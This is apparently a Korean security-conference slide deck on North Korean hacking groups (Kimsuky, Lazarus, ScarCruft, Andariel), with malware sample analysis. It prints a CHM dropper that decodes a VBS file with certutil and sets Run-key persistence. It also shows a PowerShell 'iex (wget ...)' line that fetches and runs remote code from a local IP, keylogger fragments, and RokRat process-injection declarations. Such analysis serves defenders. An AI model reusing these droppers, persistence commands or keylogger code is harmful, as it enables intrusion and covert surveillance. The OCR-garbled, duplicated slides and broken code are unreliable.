# North Korean Malicious Groups and Latest Trends

# 김진영

**Best of the Best 11** 

2023-07-03



# 목차

1. Introduction

2. North Korean Malicious Group


3. Malware Sample Analyze

4. Malware Evolution











# **North Korean Malicious Group Attack Case**

북한 김수키 해킹조직, 다음 메일 사칭해 카카오 계정 탈취 공격

| 입력: 2023-01-14 15:44












北 라자루스 그룹, 하모니 브리지 해킹으로 790억원 상당 이더리움 탈취



북한의 라자루스, 의료와 에너지 산업 표적으로 삼아 각종 정보 탈취

👍 좋아요 8개

| 입력: 2023-02-03 11:56









북한 김수키 해커조직, 대북 관련 질문지 위장해 사이버 공격

☎ 좋아요 3개 | 입력 : 2023-03-09 14:12









북한 해커조직 김수키, 경찰청 '사이버안전국' 메일 사칭 공격 포착

★ 좋아요 8개 | 입력: 2023-03-15 13:37








北 김수키 해킹그룹, '사례비 지급' 위장한 원노트 악용해 악성코드 유포

★ 좋아요 6개 입력: 2023-04-05 17:17









설해 국민들을 대상으로 해킹시도를 벌인 정황이 국가정보원에 포착됐... 원병철 기자 | 2023년 06월 14일 10:26



#### [bnTV] '출신성분 따지지 말고 해커 집중 육성하라'는 북한, 우리의 대응은?

얼마 전에 또 뉴스가 나왔어요, 최근에 (북한) 김정은이 지시를 했다고 하더라고요, '해커들은 출신 성분 따지지 말고 뽑아라.' 북한은 아무래도 이것(해킹)이 자... 권준 기자 | 2023년 06월 13일 10:50



#### 북한 해킹그룹 APT37의 치밀한 스피어피싱 공격기법 분석해보니

APT37은 북한의 해킹조직 중 하나로 Red Eyes, Group123, 금성121 등으로도 불린다. 2012년 전후



#### 북한 해킹조직 라자루스, 국내 금융보안 솔루션 취약점 악용한 공격 지속

북한의 라자루스(Lazarus) 해킹그룹은 INISAFE CrossWeb EX와 MagicLine4NX의 취약점을 공격 에 지속적으로 활용해오고 있다. 최근 라자루... 김영명기자 | 2023년 06월 13일 10:06



#### 얼마 전 발생한 아토믹월렛 해킹 사건, 라자루스의 소행

IT 외신 블리핑컴퓨터에 의하면 북한의 해킹 단체 라자루스가 최근 발생한 아토믹월렛 해킹 사건의 배 후로 지목됐다고 한다. 암호화폐 보관 및 거래 플랫폼에서 350... 문가용 기자 | 2023년 06월 09일 12:11



#### 북한의 김수키, 북한 전문가들 대상으로 소셜엔지니어링 실시

보안 외신 시큐리티어페어즈에 의하면 북한의 APT 단체인 김수키가 북한 분야 전문가들을 노린 소셜 엔지니 어링 공격을 최근 실시했다고 한다. 김수키는 북한 전문가나... 문가용 기자 | 2023년 06월 09일 12:10



# North Korean Malicious Group Attack Case

#### 북한 사이버 공격, 악성 이메일 공격 비중 가장 높아

△ 석주원 기자 | ② 승인 2023.05.26 17:57 | ※ 댓글 0

- · 북한은 취약점 악용(20%) 워터링 홀(3%) 수법 등도 활용했지만, 이메일을 악용한 해킹 공격이 전체의 74%
- 메일 발신자명을 네이버와 카카오(다음) 등 국내 포털 사이트를 사칭

#### 북한 사이버 공격(2020~2022년)

공격 유형	해킹 메일	취약점 악용	뭐터링 홀	공급망	기타
비중	74%	20%	3%	2%	1%

#### 해킹 메일 사칭 기관

기관	네이버	카카오(다음)	금융:기업: 방송 언론	외교 안보	기타
비중	45%	23%	12%	6%	14%



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## Kimsuky

 북한의 해킹 조직으로 정보를 빼내기 위해 교모한 수단을 동원하는 공작 부대로 알려져 있으며, 라자루스와 함께 정찰 총국에서 집중 육성한 해커 조직

- 타깃 맞춤형 스피어 피싱
- 활용하는 악성코드 종류 다변화
- 소프트웨어 취약점 활용 시도
- ADS 활용 악성코드 은폐










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




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
- 타깃 맞춤형 스피어 피싱
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





## Kimsuky




## Kimsuky



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## Kimsuky



피싱 메일 유포


#### Lazarus

- 북한의 지속적 위협(APT) 해커 부대로 2007년 초 조직된 것으로 파악
- 산하조직 안다니엘, 블루노르프 그룹이 있음

- 안티 포렌식
- 문서 취약점 사용
- 공인인증서 sw 취약점 공격
- Root Kit




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필터	필터	필터	필터	필터
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perlcritic.exe	₩ProgramData₩perlcritic.exe	File_Renamed_Old	Normal	Archive
kxlmatmoynktxl	₩ProgramData₩k×lmatmoynkt×l	File_Renamed_New	Normal	Archive
kxlmatmoynktxl	₩ProgramData₩k×lmatmoynkt×l	File_Renamed_New / File_Closed	Normal	Archive
kxlmatmoynktxl	₩ProgramData₩k×lmatmoynkt×l	File_Closed / File_Deleted	Normal	Archive







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


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kxlmatmoynktxl	₩ProgramData₩k×lmatmoynkt×l	File_Renamed_New	Normal	Archive
kxlmatmoynktxl	₩ProgramData₩kxlmatmoynktxl	File_Renamed_New / File_Closed	Normal	Archive
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


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kxlmatmoynktxl	₩ProgramData₩kxlmatmoynktxl	File_Renamed_New / File_Closed	Normal	Archive
kxlmatmoynktxl	₩ProgramData₩kxlmatmoynktxl	File_Closed / File_Deleted	Normal	Archive






















#### ScarCruft

- 목표 대상이 기업이 아닌 특정 개인을 대상으로 탈북자 혹은 북한 관련 취재 언론인, 관련 정부 기관 공격을 진행
- Redeyes 및 APT37 이라 불림

- 모바일 기기의 데이터 관련된 새로운 공격 연구
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- 스테가노그래피 기법 사용
- ROKRAT 클라우드 서비스 기반 백도어 공격










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




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




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
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- 웹 사이트 감염으로 워터링 홀 공격
- ┃스테가노그래피 기법 사용
- ROKRAT 클라우드 서비스 기반 백도어 공격





























#### Andariel

- 국방, 방위산업체, 정치기구, 에너지연구소 등 기관의 정보 수집 임무를 수행
- 라자루스 산하 조직으로 알려져 있음

- 매크로 이용한 스피어피싱
- Active-X 취약점을 이용한 워터링 홀 공격
- IT 자산 관리 시스템 취약점 공격
- 공급망 공격
- Putty, Link, 포트 스캐너등의 다양한 도구 사용
- Andrat, Andaratm등 자체 백도어 개발











#### Andariel

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- Andrat, Andaratm등 자체 백도어 개발










#### Andariel

- 국방, 방위산업체, 정치기구, 에너지연구소 등 기관의 정보 수집 임무를 수행
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




#### Andariel

- 국방, 방위산업체, 정치기구, 에너지연구소 등 기관의 정보 수집 임무를 수행
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#### Andariel

2020년 2021년 2022년

- 07.xx 시스템 구축 업체 대상 악성코드 유포
- 07.xx 네트워크 업체 대상 악성코드 유포
- 09.xx 운송 업체 및 국방 분야 랜섬웨어 유포
- 11.xx 국방 분야 대상 랜섬웨어 유포

- 01.xx Keylogger 발견
- 03.xx 대학 및 정부기관 악성 코드 유포
- 05.xx 악성 매크로 문서를 이용한 피싱 메일 유포
- 06.16 참가신청서양식.doc 위장한 랜섬웨어 유포

08.09 DTrack 및 Maui 랜섬웨어 유포



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
- 01.xx Keylogger 발견
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08.09 DTrack 및 Maui 랜섬웨어 유포



## • 공격 목표의 변화


- 현재는 그룹마다 각 특성이 예전처럼 뚜렷하지 않음.
- 예전처럼 그룹마다 주 표적을 노려(국가 안보와 관련된 시설과 연구소를 기점으로 고위직 간부와 기업 포함 등)
   공격하는 그것이 아니라 주 표적을 포함한 +α 대상을 집중적으로 노리고 있음.





## • 공격 목표의 변화

- 현재는 그룹마다 각 특성이 예전처럼 뚜렷하지 않음.
- 예전처럼 그룹마다 주 표적을 노려(국가 안보와 관련된 시설과 연구소를 기점으로 고위직 간부와 기업 포함 등)
   공격하는 그것이 아니라 주 표적을 포함한 +α 대상을 집중적으로 노리고 있음.





## • 북한 그룹의 평가








- 북한의 가상자산 탈취 등 금융 관련 해킹 기술은 하버드대 케네디스쿨 벨퍼센터(Belfer Center)가 내놓은 '국가별 사이버역량 인덱스(National Cyber Power Index 2022)' 에서 60점 만점 50점을 기록
- 북한 해킹의 조직들은 정교한 타깃 설정으로 자금 조달 및 첩보 수집 등 목적에 따라 해킹 타깃을 면밀히 분석해 공격 수행 특히 김수키 조직은 미국 매체 기자로 위장해 핵 전문가에게 문의 메일 보내거나 채용 관계자로 위장해 개인 정보 탈취

Kimsuky Malware Analyze




● 대북 관련 질문지를 위장한 CHM 악성코드






대북 관련 질문지를 위장한 CHM 악성코드



#### **Summary**


Chm file distribution (html help workshop)








대북 관련 질문지를 위장한 CHM 악성코드



#### **Summary**

.Chm file distribution (html help workshop)





#### 대북 관련 질문지를 위장한 CHM 악성코드


```
<HTML>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=euc-kr">
<META NAME="GENERATOR" Content="Microsoft DHTML Editing Control">
<title>dend</title>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=',cmd, /c echo
U3ViIFdNUHJvYyhwX2NtZCkNCg1zZXQgd20gPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXQ0NDpbm1nb
b3dfY21kID0qImNtZCAvYyBwb3dlcnNoZWxsIC1jb21tYW5kICIiaWV4ICh3Z2V0IHh4eC9kZW1vLnR4dCkuY29udGVudDsqSW5mb0tleSAtdXIqJ3h4
"%USERPROFILE%\Links\Document.dat" & start /MIN certutil -decode "%USERPROFILE%\Links\Document.dat" "%USERPROFILE%\L
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG SZ /d "%USERPROFILE%\Links\Document.vbs" /f'>
<PARAM name="Item2" value="273,1,1">
shortcut.Click()
</BODY>
 </HTML>
```

#### 명령어

cmd, /c echo [Encode Command] > "%USERPROFILE%\Links\Document.dat" & start /MIN certutil -decode "%USERPROFILE%\Links\Document.dat" "%USERPROFILE%\Links\Document.vbs" & start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG\_SZ /d "%USERPROFILE%\Links\Document.vbs" /f'

- Create Document.dat
- Create Document.vbs
- Create Registry Persistence Mechanism Value

```
오후 5:... 월 certutil,exe 1660 을 CreateFile C:\Users\\white\Links\UpdateDocument,dat
오후 5:... 월 certutil,exe 1660 을 CreateFile C:\Users\\white\Links\UpdateDocument,dat
오후 5:... 월 certutil,exe 1660 을 CreateFile C:\Users\\white\Links\UpdateDocument,vbs
오후 5:... 월 certutil,exe 1660 을 CreateFile C:\Users\\white\Links\UpdateDocument,vbs
```



#### 대북 관련 질문지를 위장한 CHM 악성코드




#### 명령어

cmd, /c echo [Encode Command] > "%USERPROFILE%\Links\Document.dat" & start
/MIN certutil -decode "%USERPROFILE%\Links\Document.dat"
"%USERPROFILE%\Links\Document.vbs" & start /MIN REG ADD
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG\_SZ
/d "%USERPROFILE%\Links\Document.vbs" /f'

- Create Document.dat
- Create Document.vbs
- Create Registry Persistence Mechanism Value

```
오후 5:... 월 certutil,exe 1660 을 CreateFile C:\Users\\white\Ulinks\UpdateDocument,dat
오후 5:... 월 certutil,exe 1660 을 CreateFile C:\Users\\white\Ulinks\UpdateDocument,dat
오후 5:... 월 certutil,exe 1660 을 CreateFile C:\Users\\white\Ulinks\UpdateDocument,vbs
오후 5:... 월 certutil,exe 1660 을 CreateFile C:\Users\\white\Ulinks\UpdateDocument,vbs
```




#### 대북 관련 질문지를 위장한 CHM 악성코드

```
< HTML>
<meta http-equiv="Content-Type" content="text/html; charset=euc-kr">
<META NAME="GENERATOR" Content="Microsoft DHTML Editing Control">
<title>dexa</title>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=',cmd, /c echo
U3ViIFdNUHJvYyhwX2NtZCkNCg1zZXQgd20gPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbjMyX3Byb2N1e3MiKQ0KCXN1dCBvd3MgPSBHZXRPYmp1Y3QoIndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXRzOndpbm1nbXQ0NDpbm1nb
b3dfY21kID0qImNtZCAvYyBwb3dlcnNoZWxsIC1jb21tYW5kICIiaWV4ICh3Z2V0IHh4eC9kZW1vLnR4dCkuY29udGVudDsqSW5mb0tleSAtdXIqJ3h4
"%USERPROFILE%\Links\Document.dat" & start /MIN certutil -decode "%USERPROFILE%\Links\Document.dat" "%USERPROFILE%\I
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG SZ /d "%USERPROFILE%\Links\Document.vbs" /f'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<script>
shortcut.Click()
</SCRIPT>
</BODY>
</HTML>
```

#### 명령어

cmd, /c echo [Encode Command] > "%USERPROFILE%\Links\Document.dat" & start
/MIN certutil -decode "%USERPROFILE%\Links\Document.dat"
"%USERPROFILE%\Links\Document.vbs" & start /MIN REG ADD
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG\_SZ
/d "%USERPROFILE%\Links\Document.vbs" /f'

- Create Document.dat
- Create Document.vbs
- Create Registry Persistence Mechanism Value



#### ● 대북 관련 질문지를 위장한 CHM 악성코드

```
Sub WMProc(p_cmd)

set wm = GetObject("winmgmts:win32_process")

set ows = GetObject("winmgmts:\root\cimv2")

set ost = ows.Get("Win32_ProcessStartup")

set oconf = ost.SpawnInstance_
    oconf.ShowWindow = 12

errReturn = wm.Create(p_cmd, Null, oconf, pid)

End Sub

uri = "http://192.168.0.150"

pow_cmd = "cmd /c powershell -command ""iex (wget xxx/demo.txt).content; InfoKey -ur 'xxx'"""

pow_cmd = Replace(pow_cmd, "xxx", uri)

WMProc(pow_cmd)
```

#### **Document.vbs**

#### **Summary**

- Run demo.txt using "iex" (Invoke-Expression), one of PowerShell's execution arguments
- Save Keylogger as Pages Elements.xml file

```
mClk = ["GetAsyn", "GetKeyboa", "MapVir", "GetForegro", "GetMi", "ToUni", "GetClipb", "IsClipbo", "GetTic"]
mclk1 = ["cKeyState", "rdState", "tualKey", "undWindow", "ndowText", "code", "oardSequenceNumber", "ardFormatAvailable", "kCount"]

res = []
for 1 in range(len(mClk)):
    res.append(mClk[i] + mclk1[i % len(mclk1)])
print(res)
```

```
GetAsyncKeyState
GetKeyboardState
MapVirtualKey
GetForegroundWindow
GetWindowText
ToUnicode
GetClipboardSequenceNumber
IsClipboardFormatAvailable
GetTickCount
```

```
if($k.Length -gt 0){
     [System.IO.File]::AppendAllText($Path, $k, $o_enc_mode)
    }
}
```

StartMain -Path "\$env:appdata\Microsoft\Windows\Templates\Pages\_Elements.xml"



#### ● 대북 관련 질문지를 위장한 CHM 악성코드

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set ost = ows.Get("Win32_ProcessStartup")

set oconf = ost.SpawnInstance_
    oconf.ShowWindow = 12

errReturn = wm.Create(p_cmd, Null, oconf, pid)

End Sub


uri = "http://192.168.0.150"

pow_cmd = "cmd /c powershell -command ""iex (wget xxx/demo.txt).content; InfoKey -ur 'xxx'"""

pow_cmd = Replace(pow_cmd, "xxx", uri)

WMProc(pow_cmd)
```

#### Document.vbs



#### **Summary**

- Run demo.txt using "iex" (Invoke-Expression), one of PowerShell's execution arguments
- Save Keylogger as Pages\_Elements.xml file

```
mClk = ["GetAsyn", "GetKeyboa", "MapVir", "GetForegro", "GetMi", "ToUni", "GetClipb", "IsClipbo", "GetTic"]
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res = []
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print(res)
```

```
GetAsyncKeyState
GetKeyboardState
MapVirtualKey
GetForegroundWindow
GetWindowText
ToUnicode
GetClipboardSequenceNumber
IsClipboardFormatAvailable
GetTickCount
```

```
if($k.Length -gt 0){
       [System.IO.File]::AppendAllText($Path, $k, $o_enc_mode)
    }
}
```

StartMain -Path "\$env:appdata\Microsoft\Windows\Templates\Pages\_Elements.xml"



#### ● 대북 관련 질문지를 위장한 CHM 악성코드

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End Sub

uri = "http://192.168.0.150"
pow_cmd = "cmd /c powershell -command ""iex (wget xxx/demo.txt).content; InfoKey -ur 'xxx'""
pow_cmd = Replace(pow_cmd, "xxx", uri)
wMProc(pow_cmd)
```

#### Document.vbs

#### **Summary**

- Run demo.txt using "iex" (Invoke-Expression), one of PowerShell's execution arguments
- Save Keylogger as Pages Elements.xml file

```
mClk = ["GetKeyDoa", "MapVir", "GetForegro", "GetMi", "ToUni", "GetClipb", "IsClipbo", "GetTic"]
mclk1 = ["CkeyState", "rdState", "tualkey", "undwindow", "ndowText", "code", "oardSequenceNumber", "ardFormatAvailable", "kCount"]

res = []
for i in range(len(mClk)):
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print(res)

GetAsyncKeyState
GetKeyboardState
MapVirtualKey
GetForegroundWindow
GetWindowText
ToUnicode
GetClipboardSequenceNumber
IsClipboardFormatAvailable
GetTickCount
```

```
if($k.Length -gt 0){
    [System.IO.File]::AppendAllText($Path, $k, $o_enc_mode)
    }
}
```

StartMain -Path "\$env:appdata\Microsoft\Windows\Templates\Pages\_Elements.xml"



#### ● 대북 관련 질문지를 위장한 CHM 악성코드

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    set oconf = ost.SpawnInstance_
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End Sub

uri = "http://192.168.0.150"
pow_cmd = "cmd /c powershell -command ""iex (wget xxx/demo.txt).content; InfoKey -ur 'xxx'"""
pow_cmd = Replace(pow_cmd, "xxx", uri)
WMProc(pow_cmd)
```

#### **Document.vbs**

- Run demo.txt using "iex" (Invoke-Expression), one of PowerShell's execution arguments
- Save Keylogger as Pages Elements.xml file

```
mclk = ["GetAsyn", "GetKeyboa", "MapVir", "GetForegro", "GetMi", "ToUni", "GetClipb", "Isclipbo", "GetTic"]
mclk1 = ["CKeyState", "rdState", "tualKey", "undWindow", "ndowText", "code", "oardSequenceNumber", "ardFormatAvailable", "kCount"]

res = []
for i in range(len(mclk)):
    res.append(mclk[i] + mclki[i % len(mclki)])
    print(res)


GetAsyncKeyState
GetKeyboardState
MapVirtualKey
GetForegroundWindow
GetWindowText
ToUnicode
GetClipboardSequenceNumber
IsClipboardFormatAvailable
GetTickCount
```

```
if($k.Length -gt 0){
        [System.IO.File]::AppendAllText($Path, $k, $o_enc_mode)
    }
}

StartMain -Path "$env:appdata\"Microsoft\"Windows\"Templates\"Pages_Elements.xml"
```




Demo






ScarCruft Malware Analyze






RokRat 악성코드




#### Summary

Check many obfuscated strings via macros






RokRat 악성코드



#### Summary

Check many obfuscated strings via macros





RokRat 악성코드

```
import re
StringOriginal = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 &*(),.#+="
StringEncoded = "pQFqnD5h 2WOGfbmNyi*IKP7JX9A)dcLelj(kETogHs.#wxBU+13rv&6VtC,uYz=Z0RS8aM4"
with open('2.vbs', 'r') as f:
    content = f.read()
    matches = re.findall(r'\"(.*?)\"', content)
    for match in matches:
        decoded_string = "'
        for c in match:
            if c in StringEncoded:
                index = StringEncoded.index(c)
                decoded_string += StringOriginal[index]
                decoded string += c
        content = content.replace(f'"{match}"', f'"{decoded string}"')
    with open('2decode.txt', 'w') as f new:
        f new.write(content)
```

#### **Summary**

String obfuscation is a decryption process.

```
vCoded = vCoded & "#If VBA7 Then" & vbCrLf
                       Private Declare PtrSafe Function VirtualAllocEx Lib " & Chr(34) & "kernel32.di
vCoded = vCoded & "
                       Private Declare PtrSafe Function WriteProcessMemory Lib " & Chr(34) & "kernel!
vCoded = vCoded & "
vCoded = vCoded & "
                       Private Declare PtrSafe Function CloseHandle Lib " & Chr(34) & "kernel32" & Cl
                       Private Declare PtrSafe Function OpenProcess Lib " & Chr (34) & "kernel32" & Cl
vCoded = vCoded & "
                       Private Declare PtrSafe Function RtlMoveMemory Lib " & Chr (34) & "kernel32" &
vCoded = vCoded & "
vCoded = vCoded & "
                       Private Declare PtrSafe Function CreateRemoteThread Lib " & Chr (34) & "kernel:
                       Private Declare PtrSafe Function GlobalAlloc Lib " & Chr (34) & "kernel32" & Cl
vCoded = vCoded & "
                       Private Declare PtrSafe Function GlobalFree Lib " & Chr (34) & "kernel32" & Chr
vCoded = vCoded & "
vCoded = vCoded & "
                       Private Declare PtrSafe Function CreateProcessA Lib " & Chr(34) & "kernel32" |
vCoded = vCoded & "#Else" & vbCrLf
                       Private Declare Function VirtualAllocEx Lib " & Chr (34) & "kernel32.dll" & Chr
vCoded = vCoded & "
                       Private Declare Function WriteProcessMemory Lib " & Chr(34) & "kernel32" & Chr
vCoded = vCoded & "
                       Private Declare Function CloseHandle Lib " & Chr(34) & "kernel32" & Chr(34) &
vCoded = vCoded & "
vCoded = vCoded & "
                       Private Declare Function OpenProcess Lib " & Chr(34) & "kernel32" & Chr(34) &
                       Private Declare Function RtlMoveMemory Lib " & Chr (34) & "kernel32" & Chr (34)
vCoded = vCoded & "
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vCoded = vCoded & "
                       Private Declare PtrSafe Function GlobalAlloc Lib " & Chr (34) & "kernel32" & Cl
vCoded = vCoded & "
                       Private Declare PtrSafe Function GlobalFree Lib " & Chr (34) & "kernel32" & Chr
vCoded = vCoded & "
vCoded = vCoded & "
                       Private Declare Function CreateProcessA Lib " & Chr(34) & "kernel32" & Chr(34)
```

RokRat 악성코드

```
import re
StringOriginal = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 &*(),.#+="
StringEncoded = "pQFqnD5h 2WOGfbmNyi*IKP7JX9A)dcLelj(kETogHs.#wxBU+13rv&6VtC,uYz=Z0RS8aM4"
with open('2.vbs', 'r') as f:
   content = f.read()
   matches = re.findall(r'\"(.*?)\"', content)
    for match in matches:
        decoded_string = "'
        for c in match:
            if c in StringEncoded:
                index = StringEncoded.index(c)
                decoded_string += StringOriginal[index]
                decoded string += c
        content = content.replace(f'"{match}"', f'"{decoded string}"')
    with open('2decode.txt', 'w') as f new:
        f new.write(content)
```

#### **Summary**

String obfuscation is a decryption process.

```
vCoded = vCoded & "#If VBA7 Then" & vbCrLf
                       Private Declare PtrSafe Function VirtualAllocEx Lib " & Chr(34) & "kernel32.di
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                       Private Declare PtrSafe Function CloseHandle Lib " & Chr(34) & "kernel32" & Cl
                       Private Declare PtrSafe Function OpenProcess Lib " & Chr (34) & "kernel32" & Cl
vCoded = vCoded & "
                       Private Declare PtrSafe Function RtlMoveMemory Lib " & Chr(34) & "kernel32" &
vCoded = vCoded & "
vCoded = vCoded & "
                       Private Declare PtrSafe Function CreateRemoteThread Lib " & Chr (34) & "kernel!
                       Private Declare PtrSafe Function GlobalAlloc Lib " & Chr (34) & "kernel32" & Cl
vCoded = vCoded & "
vCoded = vCoded & "
                       Private Declare PtrSafe Function GlobalFree Lib " & Chr (34) & "kernel32" & Chr
vCoded = vCoded & "
                       Private Declare PtrSafe Function CreateProcessA Lib " & Chr(34) & "kernel32" |
vCoded = vCoded & "#Else" & vbCrLf
                       Private Declare Function VirtualAllocEx Lib " & Chr (34) & "kernel32.dll" & Chr
vCoded = vCoded & "
